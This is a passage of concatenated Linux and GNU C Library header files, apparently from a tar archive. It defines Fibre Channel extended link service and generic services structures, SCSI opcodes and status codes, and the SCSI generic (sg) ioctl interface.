pnb_port_id[3]; /* port ID */ __be64 pnb_wwpn; /* port name */ }; /* * RPL LS_ACC response. */ struct fc_els_rpl_resp { __u8 rpl_cmd; /* ELS_LS_ACC */ __u8 rpl_resv1; /* reserved - must be zero */ __be16 rpl_plen; /* payload length */ __u8 rpl_resv2; /* reserved - must be zero */ __u8 rpl_llen[3]; /* list length */ __u8 rpl_resv3; /* reserved - must be zero */ __u8 rpl_index[3]; /* starting index */ struct fc_els_pnb rpl_pnb[1]; /* variable number of PNBs */ }; /* * Link Error Status Block. */ struct fc_els_lesb { __be32 lesb_link_fail; /* link failure count */ __be32 lesb_sync_loss; /* loss of synchronization count */ __be32 lesb_sig_loss; /* loss of signal count */ __be32 lesb_prim_err; /* primitive sequence error count */ __be32 lesb_inv_word; /* invalid transmission word count */ __be32 lesb_inv_crc; /* invalid CRC count */ }; /* * ELS RPS - Read Port Status Block request. */ struct fc_els_rps { __u8 rps_cmd; /* command */ __u8 rps_resv[2]; /* reserved - must be zero */ __u8 rps_flag; /* flag - see below */ __be64 rps_port_spec; /* port selection */ }; enum fc_els_rps_flag { FC_ELS_RPS_DID = 0x00, /* port identified by D_ID of req. */ FC_ELS_RPS_PPN = 0x01, /* port_spec is physical port number */ FC_ELS_RPS_WWPN = 0x02, /* port_spec is port WWN */ }; /* * ELS RPS LS_ACC response. */ struct fc_els_rps_resp { __u8 rps_cmd; /* command - LS_ACC */ __u8 rps_resv[2]; /* reserved - must be zero */ __u8 rps_flag; /* flag - see below */ __u8 rps_resv2[2]; /* reserved */ __be16 rps_status; /* port status - see below */ struct fc_els_lesb rps_lesb; /* link error status block */ }; enum fc_els_rps_resp_flag { FC_ELS_RPS_LPEV = 0x01, /* L_port extension valid */ }; enum fc_els_rps_resp_status { FC_ELS_RPS_PTP = 1 << 5, /* point-to-point connection */ FC_ELS_RPS_LOOP = 1 << 4, /* loop mode */ FC_ELS_RPS_FAB = 1 << 3, /* fabric present */ FC_ELS_RPS_NO_SIG = 1 << 2, /* loss of signal */ FC_ELS_RPS_NO_SYNC = 1 << 1, /* loss of synchronization */ FC_ELS_RPS_RESET = 1 << 0, /* in link reset protocol */ }; /* * ELS LIRR - Link Incident Record Registration request. */ struct fc_els_lirr { __u8 lirr_cmd; /* command */ __u8 lirr_resv[3]; /* reserved - must be zero */ __u8 lirr_func; /* registration function */ __u8 lirr_fmt; /* FC-4 type of RLIR requested */ __u8 lirr_resv2[2]; /* reserved - must be zero */ }; enum fc_els_lirr_func { ELS_LIRR_SET_COND = 0x01, /* set - conditionally receive */ ELS_LIRR_SET_UNCOND = 0x02, /* set - unconditionally receive */ ELS_LIRR_CLEAR = 0xff /* clear registration */ }; /* * ELS SRL - Scan Remote Loop request. */ struct fc_els_srl { __u8 srl_cmd; /* command */ __u8 srl_resv[3]; /* reserved - must be zero */ __u8 srl_flag; /* flag - see below */ __u8 srl_flag_param[3]; /* flag parameter */ }; enum fc_els_srl_flag { FC_ELS_SRL_ALL = 0x00, /* scan all FL ports */ FC_ELS_SRL_ONE = 0x01, /* scan specified loop */ FC_ELS_SRL_EN_PER = 0x02, /* enable periodic scanning (param) */ FC_ELS_SRL_DIS_PER = 0x03, /* disable periodic scanning */ }; /* * ELS RLS - Read Link Error Status Block request. */ struct fc_els_rls { __u8 rls_cmd; /* command */ __u8 rls_resv[4]; /* reserved - must be zero */ __u8 rls_port_id[3]; /* port ID */ }; /* * ELS RLS LS_ACC Response. */ struct fc_els_rls_resp { __u8 rls_cmd; /* ELS_LS_ACC */ __u8 rls_resv[3]; /* reserved - must be zero */ struct fc_els_lesb rls_lesb; /* link error status block */ }; /* * ELS RLIR - Registered Link Incident Report. * This is followed by the CLIR and the CLID, described below. */ struct fc_els_rlir { __u8 rlir_cmd; /* command */ __u8 rlir_resv[3]; /* reserved - must be zero */ __u8 rlir_fmt; /* format (FC4-type if type specific) */ __u8 rlir_clr_len; /* common link incident record length */ __u8 rlir_cld_len; /* common link incident desc. length */ __u8 rlir_slr_len; /* spec. link incident record length */ }; /* * CLIR - Common Link Incident Record Data. - Sent via RLIR. */ struct fc_els_clir { __be64 clir_wwpn; /* incident port name */ __be64 clir_wwnn; /* incident port node name */ __u8 clir_port_type; /* incident port type */ __u8 clir_port_id[3]; /* incident port ID */ __be64 clir_conn_wwpn; /* connected port name */ __be64 clir_conn_wwnn; /* connected node name */ __be64 clir_fab_name; /* fabric name */ __be32 clir_phys_port; /* physical port number */ __be32 clir_trans_id; /* transaction ID */ __u8 clir_resv[3]; /* reserved */ __u8 clir_ts_fmt; /* time stamp format */ __be64 clir_timestamp; /* time stamp */ }; /* * CLIR clir_ts_fmt - time stamp format values. */ enum fc_els_clir_ts_fmt { ELS_CLIR_TS_UNKNOWN = 0, /* time stamp field unknown */ ELS_CLIR_TS_SEC_FRAC = 1, /* time in seconds and fractions */ ELS_CLIR_TS_CSU = 2, /* time in clock synch update format */ }; /* * Common Link Incident Descriptor - sent via RLIR. */ struct fc_els_clid { __u8 clid_iq; /* incident qualifier flags */ __u8 clid_ic; /* incident code */ __be16 clid_epai; /* domain/area of ISL */ }; /* * CLID incident qualifier flags. */ enum fc_els_clid_iq { ELS_CLID_SWITCH = 0x20, /* incident port is a switch node */ ELS_CLID_E_PORT = 0x10, /* incident is an ISL (E) port */ ELS_CLID_SEV_MASK = 0x0c, /* severity 2-bit field mask */ ELS_CLID_SEV_INFO = 0x00, /* report is informational */ ELS_CLID_SEV_INOP = 0x08, /* link not operational */ ELS_CLID_SEV_DEG = 0x04, /* link degraded but operational */ ELS_CLID_LASER = 0x02, /* subassembly is a laser */ ELS_CLID_FRU = 0x01, /* format can identify a FRU */ }; /* * CLID incident code. */ enum fc_els_clid_ic { ELS_CLID_IC_IMPL = 1, /* implicit incident */ ELS_CLID_IC_BER = 2, /* bit-error-rate threshold exceeded */ ELS_CLID_IC_LOS = 3, /* loss of synch or signal */ ELS_CLID_IC_NOS = 4, /* non-operational primitive sequence */ ELS_CLID_IC_PST = 5, /* primitive sequence timeout */ ELS_CLID_IC_INVAL = 6, /* invalid primitive sequence */ ELS_CLID_IC_LOOP_TO = 7, /* loop initialization time out */ ELS_CLID_IC_LIP = 8, /* receiving LIP */ }; /* * Link Integrity event types */ enum fc_fpin_li_event_types { FPIN_LI_UNKNOWN = 0x0, FPIN_LI_LINK_FAILURE = 0x1, FPIN_LI_LOSS_OF_SYNC = 0x2, FPIN_LI_LOSS_OF_SIG = 0x3, FPIN_LI_PRIM_SEQ_ERR = 0x4, FPIN_LI_INVALID_TX_WD = 0x5, FPIN_LI_INVALID_CRC = 0x6, FPIN_LI_DEVICE_SPEC = 0xF, }; /* * Initializer useful for decoding table. * Please keep this in sync with the above definitions. */ #define FC_FPIN_LI_EVT_TYPES_INIT { \ { FPIN_LI_UNKNOWN, "Unknown" }, \ { FPIN_LI_LINK_FAILURE, "Link Failure" }, \ { FPIN_LI_LOSS_OF_SYNC, "Loss of Synchronization" }, \ { FPIN_LI_LOSS_OF_SIG, "Loss of Signal" }, \ { FPIN_LI_PRIM_SEQ_ERR, "Primitive Sequence Protocol Error" }, \ { FPIN_LI_INVALID_TX_WD, "Invalid Transmission Word" }, \ { FPIN_LI_INVALID_CRC, "Invalid CRC" }, \ { FPIN_LI_DEVICE_SPEC, "Device Specific" }, \ } /* * Delivery event types */ enum fc_fpin_deli_event_types { FPIN_DELI_UNKNOWN = 0x0, FPIN_DELI_TIMEOUT = 0x1, FPIN_DELI_UNABLE_TO_ROUTE = 0x2, FPIN_DELI_DEVICE_SPEC = 0xF, }; /* * Initializer useful for decoding table. * Please keep this in sync with the above definitions. */ #define FC_FPIN_DELI_EVT_TYPES_INIT { \ { FPIN_DELI_UNKNOWN, "Unknown" }, \ { FPIN_DELI_TIMEOUT, "Timeout" }, \ { FPIN_DELI_UNABLE_TO_ROUTE, "Unable to Route" }, \ { FPIN_DELI_DEVICE_SPEC, "Device Specific" }, \ } /* * Congestion event types */ enum fc_fpin_congn_event_types { FPIN_CONGN_CLEAR = 0x0, FPIN_CONGN_LOST_CREDIT = 0x1, FPIN_CONGN_CREDIT_STALL = 0x2, FPIN_CONGN_OVERSUBSCRIPTION = 0x3, FPIN_CONGN_DEVICE_SPEC = 0xF, }; /* * Initializer useful for decoding table. * Please keep this in sync with the above definitions. */ #define FC_FPIN_CONGN_EVT_TYPES_INIT { \ { FPIN_CONGN_CLEAR, "Clear" }, \ { FPIN_CONGN_LOST_CREDIT, "Lost Credit" }, \ { FPIN_CONGN_CREDIT_STALL, "Credit Stall" }, \ { FPIN_CONGN_OVERSUBSCRIPTION, "Oversubscription" }, \ { FPIN_CONGN_DEVICE_SPEC, "Device Specific" }, \ } enum fc_fpin_congn_severity_types { FPIN_CONGN_SEVERITY_WARNING = 0xF1, FPIN_CONGN_SEVERITY_ERROR = 0xF7, }; /* * Link Integrity Notification Descriptor */ struct fc_fn_li_desc { __be32 desc_tag; /* Descriptor Tag (0x00020001) */ __be32 desc_len; /* Length of Descriptor (in bytes). * Size of descriptor excluding * desc_tag and desc_len fields. */ __be64 detecting_wwpn; /* Port Name that detected event */ __be64 attached_wwpn; /* Port Name of device attached to * detecting Port Name */ __be16 event_type; /* see enum fc_fpin_li_event_types */ __be16 event_modifier; /* Implementation specific value * describing the event type */ __be32 event_threshold;/* duration in ms of the link * integrity detection cycle */ __be32 event_count; /* minimum number of event * occurrences during the event * threshold to caause the LI event */ __be32 pname_count; /* number of portname_list elements */ __be64 pname_list[0]; /* list of N_Port_Names accessible * through the attached port */ }; /* * Delivery Notification Descriptor */ struct fc_fn_deli_desc { __be32 desc_tag; /* Descriptor Tag (0x00020002) */ __be32 desc_len; /* Length of Descriptor (in bytes). * Size of descriptor excluding * desc_tag and desc_len fields. */ __be64 detecting_wwpn; /* Port Name that detected event */ __be64 attached_wwpn; /* Port Name of device attached to * detecting Port Name */ __be32 deli_reason_code;/* see enum fc_fpin_deli_event_types */ }; /* * Peer Congestion Notification Descriptor */ struct fc_fn_peer_congn_desc { __be32 desc_tag; /* Descriptor Tag (0x00020003) */ __be32 desc_len; /* Length of Descriptor (in bytes). * Size of descriptor excluding * desc_tag and desc_len fields. */ __be64 detecting_wwpn; /* Port Name that detected event */ __be64 attached_wwpn; /* Port Name of device attached to * detecting Port Name */ __be16 event_type; /* see enum fc_fpin_congn_event_types */ __be16 event_modifier; /* Implementation specific value * describing the event type */ __be32 event_period; /* duration (ms) of the detected * congestion event */ __be32 pname_count; /* number of portname_list elements */ __be64 pname_list[0]; /* list of N_Port_Names accessible * through the attached port */ }; /* * Congestion Notification Descriptor */ struct fc_fn_congn_desc { __be32 desc_tag; /* Descriptor Tag (0x00020004) */ __be32 desc_len; /* Length of Descriptor (in bytes). * Size of descriptor excluding * desc_tag and desc_len fields. */ __be16 event_type; /* see enum fc_fpin_congn_event_types */ __be16 event_modifier; /* Implementation specific value * describing the event type */ __be32 event_period; /* duration (ms) of the detected * congestion event */ __u8 severity; /* command */ __u8 resv[3]; /* reserved - must be zero */ }; /* * ELS_FPIN - Fabric Performance Impact Notification */ struct fc_els_fpin { __u8 fpin_cmd; /* command (0x16) */ __u8 fpin_zero[3]; /* specified as zero - part of cmd */ __be32 desc_len; /* Length of Descriptor List (in bytes). * Size of ELS excluding fpin_cmd, * fpin_zero and desc_len fields. */ struct fc_tlv_desc fpin_desc[0]; /* Descriptor list */ }; /* Diagnostic Function Descriptor - FPIN Registration */ struct fc_df_desc_fpin_reg { __be32 desc_tag; /* FPIN Registration (0x00030001) */ __be32 desc_len; /* Length of Descriptor (in bytes). * Size of descriptor excluding * desc_tag and desc_len fields. */ __be32 count; /* Number of desc_tags elements */ __be32 desc_tags[0]; /* Array of Descriptor Tags. * Each tag indicates a function * supported by the N_Port (request) * or by the N_Port and Fabric * Controller (reply; may be a subset * of the request). * See ELS_FN_DTAG_xxx for tag values. */ }; /* * ELS_RDF - Register Diagnostic Functions */ struct fc_els_rdf { __u8 fpin_cmd; /* command (0x19) */ __u8 fpin_zero[3]; /* specified as zero - part of cmd */ __be32 desc_len; /* Length of Descriptor List (in bytes). * Size of ELS excluding fpin_cmd, * fpin_zero and desc_len fields. */ struct fc_tlv_desc desc[0]; /* Descriptor list */ }; /* * ELS RDF LS_ACC Response. */ struct fc_els_rdf_resp { struct fc_els_ls_acc acc_hdr; __be32 desc_list_len; /* Length of response (in * bytes). Excludes acc_hdr * and desc_list_len fields. */ struct fc_els_lsri_desc lsri; struct fc_tlv_desc desc[0]; /* Supported Descriptor list */ }; /* * Diagnostic Capability Descriptors for EDC ELS */ /* * Diagnostic: Link Fault Capability Descriptor */ struct fc_diag_lnkflt_desc { __be32 desc_tag; /* Descriptor Tag (0x0001000D) */ __be32 desc_len; /* Length of Descriptor (in bytes). * Size of descriptor excluding * desc_tag and desc_len fields. * 12 bytes */ __be32 degrade_activate_threshold; __be32 degrade_deactivate_threshold; __be32 fec_degrade_interval; }; enum fc_edc_cg_signal_cap_types { /* Note: Capability: bits 31:4 Rsvd; bits 3:0 are capabilities */ EDC_CG_SIG_NOTSUPPORTED = 0x00, /* neither supported */ EDC_CG_SIG_WARN_ONLY = 0x01, EDC_CG_SIG_WARN_ALARM = 0x02, /* both supported */ }; /* * Initializer useful for decoding table. * Please keep this in sync with the above definitions. */ #define FC_EDC_CG_SIGNAL_CAP_TYPES_INIT { \ { EDC_CG_SIG_NOTSUPPORTED, "Signaling Not Supported" }, \ { EDC_CG_SIG_WARN_ONLY, "Warning Signal" }, \ { EDC_CG_SIG_WARN_ALARM, "Warning and Alarm Signals" }, \ } enum fc_diag_cg_sig_freq_types { EDC_CG_SIGFREQ_CNT_MIN = 1, /* Min Frequency Count */ EDC_CG_SIGFREQ_CNT_MAX = 999, /* Max Frequency Count */ EDC_CG_SIGFREQ_SEC = 0x1, /* Units: seconds */ EDC_CG_SIGFREQ_MSEC = 0x2, /* Units: milliseconds */ }; struct fc_diag_cg_sig_freq { __be16 count; /* Time between signals * note: upper 6 bits rsvd */ __be16 units; /* Time unit for count * note: upper 12 bits rsvd */ }; /* * Diagnostic: Congestion Signaling Capability Descriptor */ struct fc_diag_cg_sig_desc { __be32 desc_tag; /* Descriptor Tag (0x0001000F) */ __be32 desc_len; /* Length of Descriptor (in bytes). * Size of descriptor excluding * desc_tag and desc_len fields. * 16 bytes */ __be32 xmt_signal_capability; struct fc_diag_cg_sig_freq xmt_signal_frequency; __be32 rcv_signal_capability; struct fc_diag_cg_sig_freq rcv_signal_frequency; }; /* * ELS_EDC - Exchange Diagnostic Capabilities */ struct fc_els_edc { __u8 edc_cmd; /* command (0x17) */ __u8 edc_zero[3]; /* specified as zero - part of cmd */ __be32 desc_len; /* Length of Descriptor List (in bytes). * Size of ELS excluding edc_cmd, * edc_zero and desc_len fields. */ struct fc_tlv_desc desc[0]; /* Diagnostic Descriptor list */ }; /* * ELS EDC LS_ACC Response. */ struct fc_els_edc_resp { struct fc_els_ls_acc acc_hdr; __be32 desc_list_len; /* Length of response (in * bytes). Excludes acc_hdr * and desc_list_len fields. */ struct fc_els_lsri_desc lsri; struct fc_tlv_desc desc[0]; /* Supported Diagnostic Descriptor list */ }; #endif /* _FC_ELS_H_ */ scsi/fc/fc_gs.h 0000644 00000005517 15246445046 0007351 0 ustar 00 /* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */ /* * Copyright(c) 2007 Intel Corporation. All rights reserved. * * This program is free software; you can redistribute it and/or modify it * under the terms and conditions of the GNU General Public License, * version 2, as published by the Free Software Foundation. * * This program is distributed in the hope it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for * more details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin St - Fifth Floor, Boston, MA 02110-1301 USA. * * Maintained at www.Open-FCoE.org */ #ifndef _FC_GS_H_ #define _FC_GS_H_ #include <linux/types.h> /* * Fibre Channel Services - Common Transport. * From T11.org FC-GS-2 Rev 5.3 November 1998. */ struct fc_ct_hdr { __u8 ct_rev; /* revision */ __u8 ct_in_id[3]; /* N_Port ID of original requestor */ __u8 ct_fs_type; /* type of fibre channel service */ __u8 ct_fs_subtype; /* subtype */ __u8 ct_options; __u8 _ct_resvd1; __be16 ct_cmd; /* command / response code */ __be16 ct_mr_size; /* maximum / residual size */ __u8 _ct_resvd2; __u8 ct_reason; /* reject reason */ __u8 ct_explan; /* reason code explanation */ __u8 ct_vendor; /* vendor unique data */ }; #define FC_CT_HDR_LEN 16 /* expected sizeof (struct fc_ct_hdr) */ enum fc_ct_rev { FC_CT_REV = 1 /* common transport revision */ }; /* * ct_fs_type values. */ enum fc_ct_fs_type { FC_FST_ALIAS = 0xf8, /* alias service */ FC_FST_MGMT = 0xfa, /* management service */ FC_FST_TIME = 0xfb, /* time service */ FC_FST_DIR = 0xfc, /* directory service */ }; /* * ct_cmd: Command / response codes */ enum fc_ct_cmd { FC_FS_RJT = 0x8001, /* reject */ FC_FS_ACC = 0x8002, /* accept */ }; /* * FS_RJT reason codes. */ enum fc_ct_reason { FC_FS_RJT_CMD = 0x01, /* invalid command code */ FC_FS_RJT_VER = 0x02, /* invalid version level */ FC_FS_RJT_LOG = 0x03, /* logical error */ FC_FS_RJT_IUSIZ = 0x04, /* invalid IU size */ FC_FS_RJT_BSY = 0x05, /* logical busy */ FC_FS_RJT_PROTO = 0x07, /* protocol error */ FC_FS_RJT_UNABL = 0x09, /* unable to perform command request */ FC_FS_RJT_UNSUP = 0x0b, /* command not supported */ }; /* * FS_RJT reason code explanations. */ enum fc_ct_explan { FC_FS_EXP_NONE = 0x00, /* no additional explanation */ FC_FS_EXP_PID = 0x01, /* port ID not registered */ FC_FS_EXP_PNAM = 0x02, /* port name not registered */ FC_FS_EXP_NNAM = 0x03, /* node name not registered */ FC_FS_EXP_COS = 0x04, /* class of service not registered */ FC_FS_EXP_FTNR = 0x07, /* FC-4 types not registered */ /* definitions not complete */ }; #endif /* _FC_GS_H_ */ scsi/scsi.h 0000644 00000015471 15246445046 0006641 0 ustar 00 /* Copyright (C) 1998-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* * This header file contains public constants and structures used by * the scsi code for linux. */ #ifndef _SCSI_SCSI_H #define _SCSI_SCSI_H 1 #include <features.h> /* * SCSI opcodes */ #define TEST_UNIT_READY 0x00 #define REZERO_UNIT 0x01 #define REQUEST_SENSE 0x03 #define FORMAT_UNIT 0x04 #define READ_BLOCK_LIMITS 0x05 #define REASSIGN_BLOCKS 0x07 #define READ_6 0x08 #define WRITE_6 0x0a #define SEEK_6 0x0b #define READ_REVERSE 0x0f #define WRITE_FILEMARKS 0x10 #define SPACE 0x11 #define INQUIRY 0x12 #define RECOVER_BUFFERED_DATA 0x14 #define MODE_SELECT 0x15 #define RESERVE 0x16 #define RELEASE 0x17 #define COPY 0x18 #define ERASE 0x19 #define MODE_SENSE 0x1a #define START_STOP 0x1b #define RECEIVE_DIAGNOSTIC 0x1c #define SEND_DIAGNOSTIC 0x1d #define ALLOW_MEDIUM_REMOVAL 0x1e #define SET_WINDOW 0x24 #define READ_CAPACITY 0x25 #define READ_10 0x28 #define WRITE_10 0x2a #define SEEK_10 0x2b #define WRITE_VERIFY 0x2e #define VERIFY 0x2f #define SEARCH_HIGH 0x30 #define SEARCH_EQUAL 0x31 #define SEARCH_LOW 0x32 #define SET_LIMITS 0x33 #define PRE_FETCH 0x34 #define READ_POSITION 0x34 #define SYNCHRONIZE_CACHE 0x35 #define LOCK_UNLOCK_CACHE 0x36 #define READ_DEFECT_DATA 0x37 #define MEDIUM_SCAN 0x38 #define COMPARE 0x39 #define COPY_VERIFY 0x3a #define WRITE_BUFFER 0x3b #define READ_BUFFER 0x3c #define UPDATE_BLOCK 0x3d #define READ_LONG 0x3e #define WRITE_LONG 0x3f #define CHANGE_DEFINITION 0x40 #define WRITE_SAME 0x41 #define READ_TOC 0x43 #define LOG_SELECT 0x4c #define LOG_SENSE 0x4d #define MODE_SELECT_10 0x55 #define RESERVE_10 0x56 #define RELEASE_10 0x57 #define MODE_SENSE_10 0x5a #define PERSISTENT_RESERVE_IN 0x5e #define PERSISTENT_RESERVE_OUT 0x5f #define MOVE_MEDIUM 0xa5 #define READ_12 0xa8 #define WRITE_12 0xaa #define WRITE_VERIFY_12 0xae #define SEARCH_HIGH_12 0xb0 #define SEARCH_EQUAL_12 0xb1 #define SEARCH_LOW_12 0xb2 #define READ_ELEMENT_STATUS 0xb8 #define SEND_VOLUME_TAG 0xb6 #define WRITE_LONG_2 0xea /* * Status codes */ #define GOOD 0x00 #define CHECK_CONDITION 0x01 #define CONDITION_GOOD 0x02 #define BUSY 0x04 #define INTERMEDIATE_GOOD 0x08 #define INTERMEDIATE_C_GOOD 0x0a #define RESERVATION_CONFLICT 0x0c #define COMMAND_TERMINATED 0x11 #define QUEUE_FULL 0x14 #define STATUS_MASK 0x3e /* * SENSE KEYS */ #define NO_SENSE 0x00 #define RECOVERED_ERROR 0x01 #define NOT_READY 0x02 #define MEDIUM_ERROR 0x03 #define HARDWARE_ERROR 0x04 #define ILLEGAL_REQUEST 0x05 #define UNIT_ATTENTION 0x06 #define DATA_PROTECT 0x07 #define BLANK_CHECK 0x08 #define COPY_ABORTED 0x0a #define ABORTED_COMMAND 0x0b #define VOLUME_OVERFLOW 0x0d #define MISCOMPARE 0x0e /* * DEVICE TYPES */ #define TYPE_DISK 0x00 #define TYPE_TAPE 0x01 #define TYPE_PROCESSOR 0x03 /* HP scanners use this */ #define TYPE_WORM 0x04 /* Treated as ROM by our system */ #define TYPE_ROM 0x05 #define TYPE_SCANNER 0x06 #define TYPE_MOD 0x07 /* Magneto-optical disk - * - treated as TYPE_DISK */ #define TYPE_MEDIUM_CHANGER 0x08 #define TYPE_ENCLOSURE 0x0d /* Enclosure Services Device */ #define TYPE_NO_LUN 0x7f /* * standard mode-select header prepended to all mode-select commands * * moved here from cdrom.h -- kraxel */ struct ccs_modesel_head { unsigned char _r1; /* reserved. */ unsigned char medium; /* device-specific medium type. */ unsigned char _r2; /* reserved. */ unsigned char block_desc_length; /* block descriptor length. */ unsigned char density; /* device-specific density code. */ unsigned char number_blocks_hi; /* number of blocks in this block desc. */ unsigned char number_blocks_med; unsigned char number_blocks_lo; unsigned char _r3; unsigned char block_length_hi; /* block length for blocks in this desc. */ unsigned char block_length_med; unsigned char block_length_lo; }; /* * MESSAGE CODES */ #define COMMAND_COMPLETE 0x00 #define EXTENDED_MESSAGE 0x01 #define EXTENDED_MODIFY_DATA_POINTER 0x00 #define EXTENDED_SDTR 0x01 #define EXTENDED_EXTENDED_IDENTIFY 0x02 /* SCSI-I only */ #define EXTENDED_WDTR 0x03 #define SAVE_POINTERS 0x02 #define RESTORE_POINTERS 0x03 #define DISCONNECT 0x04 #define INITIATOR_ERROR 0x05 #define ABORT 0x06 #define MESSAGE_REJECT 0x07 #define NOP 0x08 #define MSG_PARITY_ERROR 0x09 #define LINKED_CMD_COMPLETE 0x0a #define LINKED_FLG_CMD_COMPLETE 0x0b #define BUS_DEVICE_RESET 0x0c #define INITIATE_RECOVERY 0x0f /* SCSI-II only */ #define RELEASE_RECOVERY 0x10 /* SCSI-II only */ #define SIMPLE_QUEUE_TAG 0x20 #define HEAD_OF_QUEUE_TAG 0x21 #define ORDERED_QUEUE_TAG 0x22 /* * Here are some scsi specific ioctl commands which are sometimes useful. */ /* These are a few other constants only used by scsi devices. */ #define SCSI_IOCTL_GET_IDLUN 0x5382 /* Used to turn on and off tagged queuing for scsi devices. */ #define SCSI_IOCTL_TAGGED_ENABLE 0x5383 #define SCSI_IOCTL_TAGGED_DISABLE 0x5384 /* Used to obtain the host number of a device. */ #define SCSI_IOCTL_PROBE_HOST 0x5385 /* Used to get the bus number for a device. */ #define SCSI_IOCTL_GET_BUS_NUMBER 0x5386 #endif /* scsi/scsi.h */ scsi/sg.h 0000644 00000026615 15246445046 0006313 0 ustar 00 /* Copyright (C) 1997-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <http://www.gnu.org/licenses/>. */ /* History: Started: Aug 9 by Lawrence Foard (entropy@world.std.com), to allow user process control of SCSI devices. Development Sponsored by Killy Corp. NY NY */ #ifndef _SCSI_SG_H #define _SCSI_SG_H 1 #include <features.h> #define __need_size_t #include <stddef.h> /* New interface introduced in the 3.x SG drivers follows */ /* Same structure as used by readv() Linux system call. It defines one scatter-gather element. */ typedef struct sg_iovec { void * iov_base; /* Starting address */ size_t iov_len; /* Length in bytes */ } sg_iovec_t; typedef struct sg_io_hdr { int interface_id; /* [i] 'S' for SCSI generic (required) */ int dxfer_direction; /* [i] data transfer direction */ unsigned char cmd_len; /* [i] SCSI command length ( <= 16 bytes) */ unsigned char mx_sb_len; /* [i] max length to write to sbp */ unsigned short int iovec_count; /* [i] 0 implies no scatter gather */ unsigned int dxfer_len; /* [i] byte count of data transfer */ void * dxferp; /* [i], [*io] points to data transfer memory or scatter gather list */ unsigned char * cmdp; /* [i], [*i] points to command to perform */ unsigned char * sbp; /* [i], [*o] points to sense_buffer memory */ unsigned int timeout; /* [i] MAX_UINT->no timeout (unit: millisec) */ unsigned int flags; /* [i] 0 -> default, see SG_FLAG... */ int pack_id; /* [i->o] unused internally (normally) */ void * usr_ptr; /* [i->o] unused internally */ unsigned char status; /* [o] scsi status */ unsigned char masked_status;/* [o] shifted, masked scsi status */ unsigned char msg_status; /* [o] messaging level data (optional) */ unsigned char sb_len_wr; /* [o] byte count actually written to sbp */ unsigned short int host_status; /* [o] errors from host adapter */ unsigned short int driver_status;/* [o] errors from software driver */ int resid; /* [o] dxfer_len - actual_transferred */ unsigned int duration; /* [o] time taken by cmd (unit: millisec) */ unsigned int info; /* [o] auxiliary information */ } sg_io_hdr_t; /* Use negative values to flag difference from original sg_header structure. */ #define SG_DXFER_NONE -1 /* e.g. a SCSI Test Unit Ready command */ #define SG_DXFER_TO_DEV -2 /* e.g. a SCSI WRITE command */ #define SG_DXFER_FROM_DEV -3 /* e.g. a SCSI READ command */ #define SG_DXFER_TO_FROM_DEV -4 /* treated like SG_DXFER_FROM_DEV with the additional property than during indirect IO the user buffer is copied into the kernel buffers before the transfer */ /* following flag values can be "or"-ed together */ #define SG_FLAG_DIRECT_IO 1 /* default is indirect IO */ #define SG_FLAG_LUN_INHIBIT 2 /* default is to put device's lun into */ /* the 2nd byte of SCSI command */ #define SG_FLAG_NO_DXFER 0x10000 /* no transfer of kernel buffers to/from */ /* user space (debug indirect IO) */ /* The following 'info' values are "or"-ed together. */ #define SG_INFO_OK_MASK 0x1 #define SG_INFO_OK 0x0 /* no sense, host nor driver "noise" */ #define SG_INFO_CHECK 0x1 /* something abnormal happened */ #define SG_INFO_DIRECT_IO_MASK 0x6 #define SG_INFO_INDIRECT_IO 0x0 /* data xfer via kernel buffers (or no xfer) */ #define SG_INFO_DIRECT_IO 0x2 /* direct IO requested and performed */ #define SG_INFO_MIXED_IO 0x4 /* part direct, part indirect IO */ /* Request information about a specific SG device, used by SG_GET_SCSI_ID ioctl (). */ struct sg_scsi_id { /* Host number as in "scsi<n>" where 'n' is one of 0, 1, 2 etc. */ int host_no; int channel; /* SCSI id of target device. */ int scsi_id; int lun; /* TYPE_... defined in <scsi/scsi.h>. */ int scsi_type; /* Host (adapter) maximum commands per lun. */ short int h_cmd_per_lun; /* Device (or adapter) maximum queue length. */ short int d_queue_depth; /* Unused, set to 0 for now. */ int unused[2]; }; /* Used by SG_GET_REQUEST_TABLE ioctl(). */ typedef struct sg_req_info { char req_state; /* 0 -> not used, 1 -> written, 2 -> ready to read */ char orphan; /* 0 -> normal request, 1 -> from interruped SG_IO */ char sg_io_owned; /* 0 -> complete with read(), 1 -> owned by SG_IO */ char problem; /* 0 -> no problem detected, 1 -> error to report */ int pack_id; /* pack_id associated with request */ void * usr_ptr; /* user provided pointer (in new interface) */ unsigned int duration; /* millisecs elapsed since written (req_state==1) or request duration (req_state==2) */ int unused; } sg_req_info_t; /* IOCTLs: Those ioctls that are relevant to the SG 3.x drivers follow. [Those that only apply to the SG 2.x drivers are at the end of the file.] (_GET_s yield result via 'int *' 3rd argument unless otherwise indicated) */ #define SG_EMULATED_HOST 0x2203 /* true for emulated host adapter (ATAPI) */ /* Used to configure SCSI command transformation layer for ATAPI devices */ /* Only supported by the ide-scsi driver */ #define SG_SET_TRANSFORM 0x2204 /* N.B. 3rd arg is not pointer but value: */ /* 3rd arg = 0 to disable transform, 1 to enable it */ #define SG_GET_TRANSFORM 0x2205 #define SG_SET_RESERVED_SIZE 0x2275 /* request a new reserved buffer size */ #define SG_GET_RESERVED_SIZE 0x2272 /* actual size of reserved buffer */ /* The following ioctl has a 'sg_scsi_id_t *' object as its 3rd argument. */ #define SG_GET_SCSI_ID 0x2276 /* Yields fd's bus, chan, dev, lun + type 